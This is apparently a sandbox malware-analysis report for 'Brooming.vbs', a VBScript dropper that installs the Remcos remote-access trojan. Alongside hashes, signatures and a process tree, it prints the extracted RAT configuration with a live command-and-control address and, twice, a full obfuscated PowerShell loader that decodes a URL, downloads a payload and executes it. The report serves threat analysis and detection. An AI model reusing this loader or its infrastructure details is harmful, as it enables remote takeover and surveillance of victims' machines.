Overview

overview

10

Static

static

1

Brooming.vbs

windows7-x64

10

Brooming.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    93s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-12-2024 06:54

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Brooming.vbs

  • Size

    46KB

  • MD5

    fbcaeb4144c55d299c7703277c01c329

  • SHA1

    bc1b38c0454d1badf6ce204029a856a971f156c1

  • SHA256

    6c6329c8ab3fa52c199cbbf9b270f8faaa05dc74d7f78cbd5ac8bbea61ef49bc

  • SHA512

    b0a55cfcf5cc6a147d1b886dc5b91354ac16b63bbb3f7ee75d77567c76e5b537c141663c8688422a967a9005afebab1edeb6a53b72f5f53970f4cc49b79f0962

  • SSDEEP

    768:s4jyyG+RN4ot+jCI5zZPoxnUMDUWnaaEUuZplI8Z9TDgAuovEKFgS:syyFMujCI5zZEnUM5a3USHLcAEAJ

Score
10/10
remcosremotehostdiscoverypersistencerat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

154.216.20.209:2404

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    true

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-BNP8PO

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

    ratremcos
  • Remcos family
    remcos
  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Brooming.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4948
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "echo $Sarcosome; function Relationsdatabasemodellen($Omgngelsernes){$Skinfulndustrivirksomheden=4;$Skinful=$Skinfulndustrivirksomheden;do{$Klasselotteriets+=$Omgngelsernes[$Skinful];$Skinful+=5} until(!$Omgngelsernes[$Skinful])$Klasselotteriets}function Woodranger($Henequen){ .($Ludgate) ($Henequen)}$Akvavitters3=Relationsdatabasemodellen 'Vif nS miernketBrid. SliW';$Akvavitters3+=Relationsdatabasemodellen 'Styre OveB dspc.eneL SynICaboEAstinConvt';$grounds=Relationsdatabasemodellen 'Sh,mMsammo ,dhz enbiMindl elpltidsa N,n/';$Komitadji=Relationsdatabasemodellen 'KlebT LowlEft sBrie1Albu2';$Parodi='P al[ oseNcapeeEkspTVild.G.noSBoulELic.RTilbvAmasi Sa.cWindeNon,PGenno BariArchnLi nTTinkmLit.akol N BedaSnekgOrchEB,virLina]Rgni:Fors:SupesInfeERorpcT lsUsp nRVen ivurdt unlyLokaP H lrGastOIndht G nOSti cOpdrOStanLC ha=Gibb$ M rkSlarO Liqm surIPo,tTRe,sAPrehdLa.tJRednI';$grounds+=Relationsdatabasemodellen 'Thr.5Logg.,egl0Ung D,se( RekWBasiiSkrinPremd AlloFasewT lbs win Re mN SveThjem Feri1Denu0swit.meda0Di p;Vand ArpW SeliDiskn ,vi6Inst4Efte;P.os Tocxdobb6 Unp4augu; S,o Or fr Pasvluna:Pa,c1Bldt3Hjer1H mr.Cont0Arch)Fire KnacGFlokeCom cAntik taloDose/Sy p2Inde0Varm1Unde0eigh0Apes1Hexa0Foot1Sacc PrefF PutiDi prClume Kv fStado pylxChil/Fjer1Germ3Unti1Slad.Locu0';$Sinecurist=Relationsdatabasemodellen 'Hemmu M,nsTurkEBio r Per-RetrAT.trgFluoEAn,iNUbnht';$statsretten=Relationsdatabasemodellen 'SpathHjadt pstt AerpskolsUdbo: Fin/ Myt/M veoBetofTurr1Ch oxK ll.GodpiUnjucjouruconr/GoblpSyndnT.ksTA atC Ep.lVaniIJudejschaBSpir/DepeS dowh ineoDecitMartsUniotAnhoaRetrrV nd.Achep Tits ,osd';$Bentjs=Relationsdatabasemodellen 'vilj>';$Ludgate=Relationsdatabasemodellen 'F eeiKo,bEEnk X';$Anticiperede='Filtercigarets';$Gushy='\Knapmagerens.Stu';Woodranger (Relationsdatabasemodellen 'Hyp $FestgUsynL CowOPhasbEr dA DeplBegy:M niBI.niNLystd orpsUncoLLazyeA leTFrejSPibe=Cut.$PjasE uinAlleVAd n:Afsia OliPNavlpO toDJam.aDrjdT derA,ree+T.ea$RenrGBilbUU frS G.khmosey');Woodranger (Relationsdatabasemodellen ' Vil$ Glagh nllDeltoRetrBQuohaBarbLBrn.:ConcMMisaY prASdfilPe.ogPaddiTypecInfr=Ferr$AbiusMarmTSnebaAfruTConcS TekRPlaneHaret port utoe nkNU ie.Depus,nviPOleslPap IHoltTDeal(Exos$Co cB.iogECoornEtt.TSul J SlesItem)');Woodranger (Relationsdatabasemodellen $Parodi);$statsretten=$Myalgic[0];$Pyemesis=(Relationsdatabasemodellen 'Draa$GeckGCo tL garOEf eBFor.AFluil nfa:ReseY Kv oBrugmBioleSkriRPerc=BrugNFif EHalswFors- acOFossBStlgJudvaeNistcCanaTUgen Hov,SDa,ay CansHandTs ineMereM Sce. Nat$,nveAR,inK T.lVDaniaulveVCiseITrkuTC,ndt rygE UndRLavaS Equ3');Woodranger ($Pyemesis);Woodranger (Relationsdatabasemodellen ' omr$Sl pY ,ilos,pem rabeOmplrIrri.Mys HAnace R da JindCouneVentrForvs sek[Duel$UnsuSGaariFordnDok eHjrncprobu Ge.r U riOut,sJobbtGril]Kr,d=Sjl.$IsolgWi.rrConsoStemuDrftnDiphd Stus');$Cricotus=Relationsdatabasemodellen ' Mid$Vi uYChrooLgnemSodeeD cerFedt.AndeDKardoReimwMichnIndslCharoUdb,a M.cdPreoFStudiHeddlUforeHur,(kor $Ta ssIndotTa oa tratHa rsPrinrModeeGstetForitPsykeExu n ack,Virg$TilfD Tn r Comiu.esvOssih.orduIn usoverpSelvlSkygaJylln un.tHus eOvernBog sCata)';$Drivhusplantens=$Bndslets;Woodranger (Relationsdatabasemodellen 'Chic$VerdG RevlBes,o S.sbOpfyaArbelkva,: CypSHidfePolycLseseP,irR ProNRdoveLaboNPerstBear=St.n( GriTWhaueDentSCallTAb s-EksppChelAHormtFog.h Reo Poly$FragDGarrR A rIHoloVLd.gHTranUTil,SProvpRefolCoaba bliNBeacTPatueBrecnIndaSUdsk)');while (!$Secernent) {Woodranger (Relationsdatabasemodellen 'Osvp$F nag WarlAfhooMuskb,leoaOystlJomf:GardGKo.teDagoaf derD emkKleraSj ps Ek sMoraeEnnes Er =Soli$Mortr.fske M,naRailtSmretBracrPhaniS ydbKugluSelst DeliT,kso Fu n') ;Woodranger $Cricotus;Woodranger (Relationsdatabasemodellen ' AriS CictT rkaAp,lRUdbeT Aan-PapeSTommlArite ntE H rPAn h Dep4');Woodranger (Relationsdatabasemodellen 'Se,e$Ag ngfakeLvindOC llb KimADeflL avo:PedaSblodETmmeCDisteEminR sdmN None ManNKa,rTSell= Az (SilkTIroneBaggS ritSuff-HorrPKatoaP,detRougHdr l Niv $AnaldUsafrVandiMa aVMin HTindUPre SIndkp,aprlA,uaA C nnPosttAla.eTubeNBasesUdsp)') ;Woodranger (Relationsdatabasemodellen 'cris$Re iGDiceLA.heOGirabOpsaarec LHvir:NondvSureiAd,oCVampTChaiI LanmEm liAntis fskI LacNKareGSche= er$CinegDespLSuspo ,aiB.pkkaBr.dlTi l:RustoJoosP.pans arntPrinOOptadPate+univ+Spio%Poly$MeanM upYThoraT lelIndbgIndiiPeruCPoor.HorrcAnnao ,ebuS rmnMel T') ;$statsretten=$Myalgic[$Victimising]}$Toxihemia=285000;$Houbara186=31460;Woodranger (Relationsdatabasemodellen ' Fej$CompgAfsvlLoggOAdytBSognaAntilR tc:Ps kIH ptn OveqProdUSoveiH kkeBolitIn,uUBi idiso ETek s Bol C.an=Koeo VladgB.trEWol.tEnv.- Va.c fo oOmstNSubstlsblER doNled.TSemi Coa$KoffDFyrrrGeneiE aiVAbsohSlaruEng SCrowPG rglI noASkr nIsolT AftePinsnRen s');Woodranger (Relationsdatabasemodellen 'hern$ C.ig G,nlPhagoEmanbBesta EkslS in:FordPPelauS rgiUninsNondtDkstiBacke But U de=g.ep Daa[MoniSO ery Ma s intC raeSt.mmIsle.tintCMitioCocknMirav Oble sacr Bekt Una]Angr:lay,:FiliFudkarSpilo,kabm amaB KutaRolfsFa te Le 6Hede4,xceS AtmtDialr GeniSphinTotagEnes(S et$FuldIPalenNrreq KanuOr,giDemee BabtC,cauXuhadChtheStansHerb)');Woodranger (Relationsdatabasemodellen 'Cust$GottgUna LSkiloDhy,B ChiaBaarlPale:GeneAChevpNondrUn eaBotoxNonmI,ekoa Rst2Apat2 Unl6Aud. Eent=Hy.r hom[ Fo StabuyBandsChipT SpaeRessm ,ss. AffT SubETe sXfrigtThog. .ubeKostnSpirC BeaoBa kDLivaiBiv n CocGMaha]expe: ,ip:Ad,eApasss.ygecHypoiSiphIBi t.NotegTraneSanst,gnosPerstAfisrStaniDryonOscugEdd (Kosm$ Ud,pHotluSejriGigasAndot unsI,umbeforb)');Woodranger (Relationsdatabasemodellen ' win$Gr sG ublS akOOp.aBunbeA.lanlPatu: U vmAandeE,sitWiseaEfteLLusto.onsPRoa.hAn u=Afhs$ TaraPot,PTalerAutoaudviXCen.i SkoARepr2Glyp2Arki6Klas.Ni esdukau PoobPurpsIntetSilkr SquI FjeNVellgsesa(Sol $EksptBilloBreeXS,seiA alh Gase Gl Mau diDrhaaUnco,Fol $ timhOv.rOS mmuPho.bfodeAForrr bonAOrri1Exa.8 A p6Tilb)');Woodranger $Metaloph;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2756
  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "echo $Sarcosome; function Relationsdatabasemodellen($Omgngelsernes){$Skinfulndustrivirksomheden=4;$Skinful=$Skinfulndustrivirksomheden;do{$Klasselotteriets+=$Omgngelsernes[$Skinful];$Skinful+=5} until(!$Omgngelsernes[$Skinful])$Klasselotteriets}function Woodranger($Henequen){ .($Ludgate) ($Henequen)}$Akvavitters3=Relationsdatabasemodellen 'Vif nS miernketBrid. SliW';$Akvavitters3+=Relationsdatabasemodellen 'Styre OveB dspc.eneL SynICaboEAstinConvt';$grounds=Relationsdatabasemodellen 'Sh,mMsammo ,dhz enbiMindl elpltidsa N,n/';$Komitadji=Relationsdatabasemodellen 'KlebT LowlEft sBrie1Albu2';$Parodi='P al[ oseNcapeeEkspTVild.G.noSBoulELic.RTilbvAmasi Sa.cWindeNon,PGenno BariArchnLi nTTinkmLit.akol N BedaSnekgOrchEB,virLina]Rgni:Fors:SupesInfeERorpcT lsUsp nRVen ivurdt unlyLokaP H lrGastOIndht G nOSti cOpdrOStanLC ha=Gibb$ M rkSlarO Liqm surIPo,tTRe,sAPrehdLa.tJRednI';$grounds+=Relationsdatabasemodellen 'Thr.5Logg.,egl0Ung D,se( RekWBasiiSkrinPremd AlloFasewT lbs win Re mN SveThjem Feri1Denu0swit.meda0Di p;Vand ArpW SeliDiskn ,vi6Inst4Efte;P.os Tocxdobb6 Unp4augu; S,o Or fr Pasvluna:Pa,c1Bldt3Hjer1H mr.Cont0Arch)Fire KnacGFlokeCom cAntik taloDose/Sy p2Inde0Varm1Unde0eigh0Apes1Hexa0Foot1Sacc PrefF PutiDi prClume Kv fStado pylxChil/Fjer1Germ3Unti1Slad.Locu0';$Sinecurist=Relationsdatabasemodellen 'Hemmu M,nsTurkEBio r Per-RetrAT.trgFluoEAn,iNUbnht';$statsretten=Relationsdatabasemodellen 'SpathHjadt pstt AerpskolsUdbo: Fin/ Myt/M veoBetofTurr1Ch oxK ll.GodpiUnjucjouruconr/GoblpSyndnT.ksTA atC Ep.lVaniIJudejschaBSpir/DepeS dowh ineoDecitMartsUniotAnhoaRetrrV nd.Achep Tits ,osd';$Bentjs=Relationsdatabasemodellen 'vilj>';$Ludgate=Relationsdatabasemodellen 'F eeiKo,bEEnk X';$Anticiperede='Filtercigarets';$Gushy='\Knapmagerens.Stu';Woodranger (Relationsdatabasemodellen 'Hyp $FestgUsynL CowOPhasbEr dA DeplBegy:M niBI.niNLystd orpsUncoLLazyeA leTFrejSPibe=Cut.$PjasE uinAlleVAd n:Afsia OliPNavlpO toDJam.aDrjdT derA,ree+T.ea$RenrGBilbUU frS G.khmosey');Woodranger (Relationsdatabasemodellen ' Vil$ Glagh nllDeltoRetrBQuohaBarbLBrn.:ConcMMisaY prASdfilPe.ogPaddiTypecInfr=Ferr$AbiusMarmTSnebaAfruTConcS TekRPlaneHaret port utoe nkNU ie.Depus,nviPOleslPap IHoltTDeal(Exos$Co cB.iogECoornEtt.TSul J SlesItem)');Woodranger (Relationsdatabasemodellen $Parodi);$statsretten=$Myalgic[0];$Pyemesis=(Relationsdatabasemodellen 'Draa$GeckGCo tL garOEf eBFor.AFluil nfa:ReseY Kv oBrugmBioleSkriRPerc=BrugNFif EHalswFors- acOFossBStlgJudvaeNistcCanaTUgen Hov,SDa,ay CansHandTs ineMereM Sce. Nat$,nveAR,inK T.lVDaniaulveVCiseITrkuTC,ndt rygE UndRLavaS Equ3');Woodranger ($Pyemesis);Woodranger (Relationsdatabasemodellen ' omr$Sl pY ,ilos,pem rabeOmplrIrri.Mys HAnace R da JindCouneVentrForvs sek[Duel$UnsuSGaariFordnDok eHjrncprobu Ge.r U riOut,sJobbtGril]Kr,d=Sjl.$IsolgWi.rrConsoStemuDrftnDiphd Stus');$Cricotus=Relationsdatabasemodellen ' Mid$Vi uYChrooLgnemSodeeD cerFedt.AndeDKardoReimwMichnIndslCharoUdb,a M.cdPreoFStudiHeddlUforeHur,(kor $Ta ssIndotTa oa tratHa rsPrinrModeeGstetForitPsykeExu n ack,Virg$TilfD Tn r Comiu.esvOssih.orduIn usoverpSelvlSkygaJylln un.tHus eOvernBog sCata)';$Drivhusplantens=$Bndslets;Woodranger (Relationsdatabasemodellen 'Chic$VerdG RevlBes,o S.sbOpfyaArbelkva,: CypSHidfePolycLseseP,irR ProNRdoveLaboNPerstBear=St.n( GriTWhaueDentSCallTAb s-EksppChelAHormtFog.h Reo Poly$FragDGarrR A rIHoloVLd.gHTranUTil,SProvpRefolCoaba bliNBeacTPatueBrecnIndaSUdsk)');while (!$Secernent) {Woodranger (Relationsdatabasemodellen 'Osvp$F nag WarlAfhooMuskb,leoaOystlJomf:GardGKo.teDagoaf derD emkKleraSj ps Ek sMoraeEnnes Er =Soli$Mortr.fske M,naRailtSmretBracrPhaniS ydbKugluSelst DeliT,kso Fu n') ;Woodranger $Cricotus;Woodranger (Relationsdatabasemodellen ' AriS CictT rkaAp,lRUdbeT Aan-PapeSTommlArite ntE H rPAn h Dep4');Woodranger (Relationsdatabasemodellen 'Se,e$Ag ngfakeLvindOC llb KimADeflL avo:PedaSblodETmmeCDisteEminR sdmN None ManNKa,rTSell= Az (SilkTIroneBaggS ritSuff-HorrPKatoaP,detRougHdr l Niv $AnaldUsafrVandiMa aVMin HTindUPre SIndkp,aprlA,uaA C nnPosttAla.eTubeNBasesUdsp)') ;Woodranger (Relationsdatabasemodellen 'cris$Re iGDiceLA.heOGirabOpsaarec LHvir:NondvSureiAd,oCVampTChaiI LanmEm liAntis fskI LacNKareGSche= er$CinegDespLSuspo ,aiB.pkkaBr.dlTi l:RustoJoosP.pans arntPrinOOptadPate+univ+Spio%Poly$MeanM upYThoraT lelIndbgIndiiPeruCPoor.HorrcAnnao ,ebuS rmnMel T') ;$statsretten=$Myalgic[$Victimising]}$Toxihemia=285000;$Houbara186=31460;Woodranger (Relationsdatabasemodellen ' Fej$CompgAfsvlLoggOAdytBSognaAntilR tc:Ps kIH ptn OveqProdUSoveiH kkeBolitIn,uUBi idiso ETek s Bol C.an=Koeo VladgB.trEWol.tEnv.- Va.c fo oOmstNSubstlsblER doNled.TSemi Coa$KoffDFyrrrGeneiE aiVAbsohSlaruEng SCrowPG rglI noASkr nIsolT AftePinsnRen s');Woodranger (Relationsdatabasemodellen 'hern$ C.ig G,nlPhagoEmanbBesta EkslS in:FordPPelauS rgiUninsNondtDkstiBacke But U de=g.ep Daa[MoniSO ery Ma s intC raeSt.mmIsle.tintCMitioCocknMirav Oble sacr Bekt Una]Angr:lay,:FiliFudkarSpilo,kabm amaB KutaRolfsFa te Le 6Hede4,xceS AtmtDialr GeniSphinTotagEnes(S et$FuldIPalenNrreq KanuOr,giDemee BabtC,cauXuhadChtheStansHerb)');Woodranger (Relationsdatabasemodellen 'Cust$GottgUna LSkiloDhy,B ChiaBaarlPale:GeneAChevpNondrUn eaBotoxNonmI,ekoa Rst2Apat2 Unl6Aud. Eent=Hy.r hom[ Fo StabuyBandsChipT SpaeRessm ,ss. AffT SubETe sXfrigtThog. .ubeKostnSpirC BeaoBa kDLivaiBiv n CocGMaha]expe: ,ip:Ad,eApasss.ygecHypoiSiphIBi t.NotegTraneSanst,gnosPerstAfisrStaniDryonOscugEdd (Kosm$ Ud,pHotluSejriGigasAndot unsI,umbeforb)');Woodranger (Relationsdatabasemodellen ' win$Gr sG ublS akOOp.aBunbeA.lanlPatu: U vmAandeE,sitWiseaEfteLLusto.onsPRoa.hAn u=Afhs$ TaraPot,PTalerAutoaudviXCen.i SkoARepr2Glyp2Arki6Klas.Ni esdukau PoobPurpsIntetSilkr SquI FjeNVellgsesa(Sol $EksptBilloBreeXS,seiA alh Gase Gl Mau diDrhaaUnco,Fol $ timhOv.rOS mmuPho.bfodeAForrr bonAOrri1Exa.8 A p6Tilb)');Woodranger $Metaloph;"
    1⤵
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1452
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\SysWOW64\msiexec.exe"
      2⤵
      • Blocklisted process makes network request
      • Adds Run key to start application
      • Suspicious use of NtCreateThreadExHideFromDebugger
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4260
      • C:\ProgramData\Remcos\remcos.exe
        "C:\ProgramData\Remcos\remcos.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:3152

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\Remcos\remcos.exe
    Filesize

    58KB

    MD5

    9d09dc1eda745a5f87553048e57620cf

    SHA1

    1d0c7cfca8104d06de1f08b97f28b3520c246cd7

    SHA256

    3a90ede157d40a4db7859158c826f7b4d0f19a5768f6483c9be6ee481c6e1af7

    SHA512

    2be940f0468f77792c6e1b593376900c24ff0b0fae8dc2e57b05596506789aa76119f8be780c57252f74cd1f0c2fa7223fe44ae4fa3643c26df00dd42bd4c016

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    1KB

    MD5

    4628097c4c73c2ac69c230d9ada81bb7

    SHA1

    e21241feaa5082b44a4805c5916847eb904b154e

    SHA256

    e8a133b1d24044e6a0b2ad99b07b663678a65f4bdf5d56df10bc5842348004d5

    SHA512

    6d4ac60f9a45bca1e9657311b79ba5cb5df95d58f1e63d4c8b266ec1c1423abd92272048a32fa862c772fc4bd79eaf991c19c91672dd20b2170a4c68e8f540e1

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_crxtbhso.re1.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • C:\Users\Admin\AppData\Roaming\Knapmagerens.Stu
    Filesize

    412KB

    MD5

    06d9d0ca2e545e2472691c84122a5372

    SHA1

    6d1af98a3741d350d3e3a5735c6db3bebedbba4b

    SHA256

    ee746e93f909fc27907a8bf180c62f0d334e549338da0fe7bb8eb5c229b77b5a

    SHA512

    37b10f2f7176651f142ed98acb794b4c97d7772a608861cafa2c696085b276b0097811c0c1b394c9aabc89f4612b280689fa69058e6068c78c8c27e75bd5e3e5

    Download Submit

  • memory/1452-39-0x0000000007670000-0x0000000007706000-memory.dmp

    Filesize

    600KB

    Download

  • memory/1452-36-0x00000000063E0000-0x000000000642C000-memory.dmp

    Filesize

    304KB

    Download

  • memory/1452-43-0x0000000008920000-0x000000000DCE2000-memory.dmp

    Filesize

    83.8MB

    Download

  • memory/1452-19-0x0000000002AC0000-0x0000000002AF6000-memory.dmp

    Filesize

    216KB

    Download

  • memory/1452-20-0x00000000055B0000-0x0000000005BD8000-memory.dmp

    Filesize

    6.2MB

    Download

  • memory/1452-21-0x00000000054D0000-0x00000000054F2000-memory.dmp

    Filesize

    136KB

    Download

  • memory/1452-23-0x0000000005C50000-0x0000000005CB6000-memory.dmp

    Filesize

    408KB

    Download

  • memory/1452-22-0x0000000005BE0000-0x0000000005C46000-memory.dmp

    Filesize

    408KB

    Download

  • memory/1452-33-0x0000000005D70000-0x00000000060C4000-memory.dmp

    Filesize

    3.3MB

    Download

  • memory/1452-41-0x0000000008370000-0x0000000008914000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/1452-35-0x00000000063B0000-0x00000000063CE000-memory.dmp

    Filesize

    120KB

    Download

  • memory/1452-40-0x00000000073B0000-0x00000000073D2000-memory.dmp

    Filesize

    136KB

    Download

  • memory/1452-37-0x0000000007CF0000-0x000000000836A000-memory.dmp

    Filesize

    6.5MB

    Download

  • memory/1452-38-0x00000000068F0000-0x000000000690A000-memory.dmp

    Filesize

    104KB

    Download

  • memory/2756-0-0x00007FF99D843000-0x00007FF99D845000-memory.dmp

    Filesize

    8KB

    Download

  • memory/2756-15-0x00007FF99D840000-0x00007FF99E301000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2756-12-0x00007FF99D840000-0x00007FF99E301000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2756-11-0x00007FF99D840000-0x00007FF99E301000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2756-18-0x00007FF99D840000-0x00007FF99E301000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2756-10-0x0000023574950000-0x0000023574972000-memory.dmp

    Filesize

    136KB

    Download

  • memory/4260-51-0x0000000000A00000-0x0000000001C54000-memory.dmp

    Filesize

    18.3MB

    Download

  • memory/4260-65-0x0000000000A00000-0x0000000001C54000-memory.dmp

    Filesize

    18.3MB

    Download